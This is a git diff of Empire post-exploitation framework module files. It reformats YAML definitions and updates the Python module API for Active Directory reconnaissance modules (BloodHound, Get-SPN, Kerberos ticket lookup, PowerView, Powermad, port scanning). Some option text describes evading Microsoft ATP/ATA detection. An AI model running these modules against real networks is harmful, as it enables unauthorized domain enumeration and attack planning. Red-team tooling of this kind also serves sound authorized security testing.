+ description: Use stealth collection options, will sacrifice data quality in favor of much reduced network impact.
required: false
value: ''
- name: Domain
- description: Specifies the domain to enumerate. If not specified, will enumerate
- the current domain your user context specifies.
+ description: Specifies the domain to enumerate. If not specified, will enumerate the current domain your user context
+ specifies.
required: false
value: ''
- name: WindowsOnly
- description: Limits computer collection to systems that have an operatingssytem
- attribute that matches *Windows*.
+ description: Limits computer collection to systems that have an operatingssytem attribute that matches *Windows*.
required: false
value: ''
- name: ComputerFile
- description: 'A file, /!\ ON THE HOST /!\, containing a list of computers to enumerate.
- This option can only be used with the following Collection Methods: Session, SessionLoop,
- LocalGroup, ComputerOnly, LoggedOn.'
+ description: 'A file, /!\ ON THE HOST /!\, containing a list of computers to enumerate. This option can only be used with
+ the following Collection Methods: Session, SessionLoop, LocalGroup, ComputerOnly, LoggedOn.'
required: false
value: ''
- name: LdapFilter
- description: Append this ldap filter to the search filter to further filter the
- results enumerated.
+ description: Append this ldap filter to the search filter to further filter the results enumerated.
required: false
value: ''
- name: SearchBase
- description: DistinguishedName to start LDAP searches at. Equivalent to the old
- --OU option.
+ description: DistinguishedName to start LDAP searches at. Equivalent to the old --OU option.
required: false
value: ''
- name: OutputDirectory
@@ -71,8 +74,7 @@ options:
required: false
value: ''
- name: CacheFilename
- description: 'Name for the cache file dropped to disk (default: unique hash generated
- per machine).'
+ description: 'Name for the cache file dropped to disk (default: unique hash generated per machine).'
required: false
value: ''
- name: RandomFilenames
@@ -84,8 +86,7 @@ options:
required: false
value: ''
- name: NoSaveCache
- description: Don't write the cache file to disk. Caching will still be performed
- in memory.
+ description: Don't write the cache file to disk. Caching will still be performed in memory.
required: false
value: ''
- name: EncryptZip
@@ -101,8 +102,7 @@ options:
required: false
value: ''
- name: DomainController
- description: Domain Controller to connect too. Specifiying this can result in data
- loss.
+ description: Domain Controller to connect too. Specifiying this can result in data loss.
required: false
value: ''
- name: LdapPort
@@ -118,13 +118,11 @@ options:
required: false
value: ''
- name: LdapUsername
- description: Username for connecting to LDAP. Use this if you're using a non-domain
- account for connecting to computers.
+ description: Username for connecting to LDAP. Use this if you're using a non-domain account for connecting to computers.
required: false
value: ''
- name: LdapPassword
- description: Password for connecting to LDAP. Use this if you're using a non-domain
- account for connecting to computers.
+ description: Password for connecting to LDAP. Use this if you're using a non-domain account for connecting to computers.
required: false
value: ''
- name: SkipPortScan
@@ -136,8 +134,7 @@ options:
required: false
value: ''
- name: ExcludeDomainControllers
- description: Exclude domain controllers from enumeration (usefult o avoid Microsoft
- ATP/ATA).
+ description: Exclude domain controllers from enumeration (usefult o avoid Microsoft ATP/ATA).
required: false
value: ''
- name: Throttle
@@ -184,5 +181,5 @@ options:
description: Interval to sleep between loops (Default 00:05:00).
required: false
value: ''
-script_path: 'situational_awareness/network/BloodHound3.ps1'
+script_path: situational_awareness/network/BloodHound3.ps1
script_end: Invoke-BloodHound {{ PARAMS }} | Out-String | %{$_ + "`n"};"`n Invoke-BloodHound completed!"
diff --git a/empire/server/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.yaml b/empire/server/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.yaml
index 77a278ad0..e294dde99 100644
--- a/empire/server/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.yaml
@@ -1,9 +1,12 @@
name: Get-KerberosServiceTicket
authors:
- - '@OneLogicalMyth'
-description: Retrieves IP addresses and usernames using event ID 4769 this can allow
- identification of a users machine. Can only run on a domain controller.
+ - name: ''
+ handle: '@OneLogicalMyth'
+ link: ''
+description: Retrieves IP addresses and usernames using event ID 4769 this can allow identification of a users machine. Can
+ only run on a domain controller.
software: ''
+tactics: []
techniques:
- T1097
background: false
@@ -30,11 +33,11 @@ options:
- name: ExcludeComputers
description: Exclude computers from the results. ($True or $False)
required: false
- value: True
+ value: true
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -42,5 +45,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/Get-KerberosServiceTicket.ps1'
-script_end: Get-KerberosServiceTicket {{ PARAMS }} | Format-Table -AutoSize | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-KerberosServiceTicket completed'
+script_path: situational_awareness/network/Get-KerberosServiceTicket.ps1
+script_end: Get-KerberosServiceTicket {{ PARAMS }} | Format-Table -AutoSize | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-KerberosServiceTicket
+ completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml b/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml
index 9899a79ec..0dd2b0e76 100644
--- a/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml
@@ -1,9 +1,12 @@
name: Get-SPN
authors:
- - '@_nullbind'
-description: Displays Service Principal Names (SPN) for domain accounts based on SPN
- service name, domain account, or domain group via LDAP queries.
+ - name: ''
+ handle: '@_nullbind'
+ link: ''
+description: Displays Service Principal Names (SPN) for domain accounts based on SPN service name, domain account, or domain
+ group via LDAP queries.
software: ''
+tactics: []
techniques:
- T1207
background: true
@@ -20,7 +23,7 @@ options:
required: true
value: ''
- name: Type
- description: '''group'', ''user'', or ''service'''
+ description: "'group', 'user', or 'service'"
required: false
value: service
- name: Search
@@ -30,7 +33,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -38,5 +41,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/Get-SPN.ps1'
+script_path: situational_awareness/network/Get-SPN.ps1
script_end: Get-SPN {{ PARAMS }} -List yes | Format-Table -Wrap | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-SPN completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml b/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml
index 237fc1a27..0823de0cc 100644
--- a/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml
@@ -1,12 +1,16 @@
name: Get-SQLInstanceDomain
authors:
- - '@_nullbind'
- - '@0xbadjuju'
-description: Returns a list of SQL Server instances discovered by querying a domain
- controller for systems with registered MSSQL service principal names. The function
- will default to the current user's domain and logon server, but an alternative domain
- controller can be provided. UDP scanning of management servers is optional.
+ - name: ''
+ handle: '@_nullbind'
+ link: ''
+ - name: ''
+ handle: '@0xbadjuju'
+ link: ''
+description: Returns a list of SQL Server instances discovered by querying a domain controller for systems with registered
+ MSSQL service principal names. The function will default to the current user's domain and logon server, but an alternative
+ domain controller can be provided. UDP scanning of management servers is optional.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -39,8 +43,7 @@ options:
required: false
value: 'False'
- name: UDPTimeOut
- description: Timeout in seconds for UDP scans of management servers. Longer timeout
- = more accurate.
+ description: Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.
required: false
value: '3'
- name: Username
@@ -54,7 +57,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -62,5 +65,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/Get-SQLInstanceDomain.ps1'
+script_path: situational_awareness/network/Get-SQLInstanceDomain.ps1
script_end: Get-SQLInstanceDomain {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-SQLInstanceDomain completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py
index 1d8e88981..a3774d9b4 100644
--- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py
+++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py
@@ -1,20 +1,16 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -25,7 +21,7 @@ def generate(
check_all = params["CheckAll"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name="situational_awareness/network/Get-SQLServerInfo.ps1",
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -34,22 +30,12 @@ def generate(
script_end = ""
if check_all:
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name="situational_awareness/network/Get-SQLInstanceDomain.ps1",
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
)
- try:
- with open(sql_instance_source, "r") as auxSource:
- auxScript = auxSource.read()
- script += " " + auxScript
- except:
- print(
- helpers.color(
- "[!] Could not read additional module source path at: "
- + str(sql_instance_source)
- )
- )
+
script_end = " Get-SQLInstanceDomain "
if username != "":
script_end += " -Username " + username
@@ -73,7 +59,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.yaml b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.yaml
index e1c579e40..ee3e63f40 100644
--- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.yaml
@@ -1,9 +1,14 @@
name: Get-SQLServerInfo
authors:
- - '@_nullbind'
- - '@0xbadjuju'
+ - name: ''
+ handle: '@_nullbind'
+ link: ''
+ - name: ''
+ handle: '@0xbadjuju'
+ link: ''
description: Returns basic server and user information from target SQL Servers.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -38,7 +43,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/situational_awareness/network/portscan.yaml b/empire/server/modules/powershell/situational_awareness/network/portscan.yaml
index b3a15a533..bd11e506c 100644
--- a/empire/server/modules/powershell/situational_awareness/network/portscan.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/portscan.yaml
@@ -1,9 +1,11 @@
name: Invoke-Portscan
authors:
- - Rich Lundeen
-description: Does a simple port scan using regular sockets, based (pretty) loosely
- on nmap.
+ - name: Rich Lundeen
+ handle: ''
+ link: ''
+description: Does a simple port scan using regular sockets, based (pretty) loosely on nmap.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -70,7 +72,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -78,5 +80,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/Invoke-Portscan.ps1'
-script_end: Invoke-PortScan -noProgressMeter -f {{ PARAMS }} | Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-Portscan completed'
+script_path: situational_awareness/network/Invoke-Portscan.ps1
+script_end: Invoke-PortScan -noProgressMeter -f {{ PARAMS }} | Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts
+ -join ','}} | ft -wrap | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-Portscan completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_permission.yaml b/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_permission.yaml
index 710ca94bd..239a48a7a 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_permission.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_permission.yaml
@@ -1,10 +1,14 @@
name: Get-ADIDNSPermission
authors:
- - '@Kevin-Robertson'
- - '@snovvcrash'
-description: Query a DACL of an ADIDNS node or zone in the specified domain. Part
- of Powermad.
+ - name: ''
+ handle: '@Kevin-Robertson'
+ link: ''
+ - name: ''
+ handle: '@snovvcrash'
+ link: ''
+description: Query a DACL of an ADIDNS node or zone in the specified domain. Part of Powermad.
software: ''
+tactics: []
techniques:
- T1069
background: true
@@ -25,13 +29,12 @@ options:
required: false
value: ''
- name: Domain
- description: The targeted domain in DNS format. This parameter is required when
- using an IP address in the DomainController parameter.
+ description: The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
required: false
value: ''
- name: DomainController
- description: Domain controller to target. This parameter is mandatory on a non-domain
- attached system.
+ description: Domain controller to target. This parameter is mandatory on a non-domain attached system.
required: false
value: ''
- name: Node
@@ -39,8 +42,8 @@ options:
required: false
value: ''
- name: Partition
- description: (DomainDNSZones,ForestDNSZones,System) The AD partition name where
- the zone is stored. By default, this function will loop through all three partitions.
+ description: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this function
+ will loop through all three partitions.
required: false
value: ''
- name: Zone
@@ -50,7 +53,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -58,5 +61,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powermad.ps1'
+script_path: situational_awareness/network/powermad.ps1
script_end: Get-ADIDNSPermission {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-ADIDNSPermission completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_zone.yaml b/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_zone.yaml
index fb41a9a55..aee973754 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_zone.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_zone.yaml
@@ -1,9 +1,14 @@
name: Get-ADIDNSZone
authors:
- - '@Kevin-Robertson'
- - '@snovvcrash'
+ - name: ''
+ handle: '@Kevin-Robertson'
+ link: ''
+ - name: ''
+ handle: '@snovvcrash'
+ link: ''
description: Query ADIDNS zones in the specified domain. Part of Powermad.
software: ''
+tactics: []
techniques:
- T1016
background: true
@@ -24,18 +29,17 @@ options:
required: false
value: ''
- name: Domain
- description: The targeted domain in DNS format. This parameter is required when
- using an IP address in the DomainController parameter.
+ description: The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
required: false
value: ''
- name: DomainController
- description: Domain controller to target. This parameter is mandatory on a non-domain
- attached system.
+ description: Domain controller to target. This parameter is mandatory on a non-domain attached system.
required: false
value: ''
- name: Partition
- description: (DomainDNSZones,ForestDNSZones,System) The AD partition name where
- the zone is stored. By default, this function will loop through all three partitions.
+ description: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this function
+ will loop through all three partitions.
required: false
value: ''
- name: Zone
@@ -45,7 +49,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -53,5 +57,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powermad.ps1'
+script_path: situational_awareness/network/powermad.ps1
script_end: Get-ADIDNSZone {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-ADIDNSZone completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_group.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_group.yaml
index 1442c9819..d62a905c3 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_group.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_group.yaml
@@ -1,9 +1,12 @@
name: Get-DomainForeignGroupMember
authors:
- - '@harmj0y'
-description: Enumerates all the members of a given domain's groups and finds users
- that are not in the queried domain. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Enumerates all the members of a given domain's groups and finds users that are not in the queried domain. Part
+ of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -24,18 +27,15 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP filter query string that is used to filter active
- directory objects.
+ description: Specifies an LDAP filter query string that is used to filter active directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -43,8 +43,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -52,24 +51,22 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -77,5 +74,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
-script_end: Get-DomainForeignGroupMember {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainForeignGroupMember completed'
+script_path: situational_awareness/network/powerview.ps1
+script_end: Get-DomainForeignGroupMember {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainForeignGroupMember
+ completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_user.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_user.yaml
index edc22b3ae..567b073ce 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_user.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_user.yaml
@@ -1,9 +1,11 @@
name: Get-DomainForeignUser
authors:
- - '@harmj0y'
-description: Enumerates users who are in groups outside of their principal domain.
- Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Enumerates users who are in groups outside of their principal domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -24,18 +26,15 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP filter query string that is used to filter active
- directory objects.
+ description: Specifies an LDAP filter query string that is used to filter active directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -43,8 +42,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -52,24 +50,22 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -77,5 +73,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainForeignUser {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainForeignUser completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml
index 6c0a4f29c..37d36bc72 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml
@@ -1,9 +1,12 @@
name: Get-DomainGPOComputerLocalGroupMapping
authors:
- - '@harmj0y'
-description: Takes a computer (or GPO) object and determines what users/groups have
- administrative access over it. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Takes a computer (or GPO) object and determines what users/groups have administrative access over it. Part of
+ PowerView.
software: S0194
+tactics: []
techniques:
- T1069
background: true
@@ -20,8 +23,8 @@ options:
required: true
value: ''
- name: ComputerIdentity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name
- for the computer to identify GPO local group mappings for.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name for the computer to identify GPO local
+ group mappings for.
required: false
value: ''
- name: LocalGroup
@@ -33,8 +36,7 @@ options:
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -42,8 +44,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -51,19 +52,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -71,5 +70,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
-script_end: Get-DomainGPOComputerLocalGroupMapping {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainGPOComputerLocalGroupMapping completed'
+script_path: situational_awareness/network/powerview.ps1
+script_end: Get-DomainGPOComputerLocalGroupMapping {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainGPOComputerLocalGroupMapping
+ completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_location.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_location.yaml
index c999ae8a1..7f1b83030 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_location.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_location.yaml
@@ -1,9 +1,12 @@
name: Get-DomainGPOUserLocalGroupMapping
authors:
- - '@harmj0y'
-description: Takes a user/group name and optional domain, and determines the computers
- in the domain the user/group has local admin (or RDP) rights to. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local
+ admin (or RDP) rights to. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1069
background: true
@@ -20,8 +23,8 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name
- for the user/group to identify GPO local group mappings for.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name for the user/group to identify GPO local
+ group mappings for.
required: false
value: ''
- name: LocalGroup
@@ -33,8 +36,7 @@ options:
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -42,8 +44,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -51,19 +52,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -71,5 +70,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
-script_end: Get-DomainGPOUserLocalGroupMapping {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainGPOUserLocalGroupMapping completed'
+script_path: situational_awareness/network/powerview.ps1
+script_end: Get-DomainGPOUserLocalGroupMapping {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainGPOUserLocalGroupMapping
+ completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml
index 2ab717df1..eadbe4704 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml
@@ -1,9 +1,11 @@
name: Find-LocalAdminAccess
authors:
- - '@harmj0y'
-description: Finds machines on the local domain where the current user has local administrator
- access. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Finds machines on the local domain where the current user has local administrator access. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1069
background: true
@@ -24,13 +26,11 @@ options:
required: false
value: ''
- name: ComputerDomain
- description: Specifies the domain to query for computers, defaults to the current
- domain.
+ description: Specifies the domain to query for computers, defaults to the current domain.
required: false
value: ''
- name: ComputerLDAPFilter
- description: Specifies an LDAP query string that is used to search for computer
- objects.
+ description: Specifies an LDAP query string that is used to search for computer objects.
required: false
value: ''
- name: ComputerSearchBase
@@ -58,8 +58,7 @@ options:
required: false
value: ''
- name: SearchScope
